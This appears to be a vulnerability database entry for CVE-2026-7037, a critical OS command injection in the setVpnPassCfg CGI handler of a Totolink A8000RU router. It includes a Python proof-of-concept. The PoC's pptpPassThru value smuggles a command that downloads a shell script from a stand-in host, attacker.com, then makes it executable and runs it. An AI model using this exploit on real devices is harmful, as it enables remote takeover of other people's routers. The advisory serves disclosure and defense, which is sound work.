Security Vulnerability Report
中文
CVE-2026-7037 CVSS 9.8 CRITICAL

CVE-2026-7037

Published: 2026-04-26 12:16:23
Last Modified: 2026-04-27 18:50:06

Description

A security flaw has been discovered in Totolink A8000RU 7.1cu.643_b20200521. This issue affects the function setVpnPassCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. The manipulation of the argument pptpPassThru results in os command injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink A8000RU 7.1cu.643_b20200521

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)" } # Vulnerable payload: OS command injection # Example: using `;` to execute a separate command (e.g., 'reboot' or 'cat /etc/passwd') payload = "; wget http://attacker.com/shell.sh -O /tmp/sh.sh; chmod +x /tmp/sh.sh; /tmp/sh.sh; #" data = { "function": "setVpnPassCfg", "pptpPassThru": payload } try: response = requests.post(url, json=data, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Exploit failed: {e}")

References

Raw JSON Data

JSON
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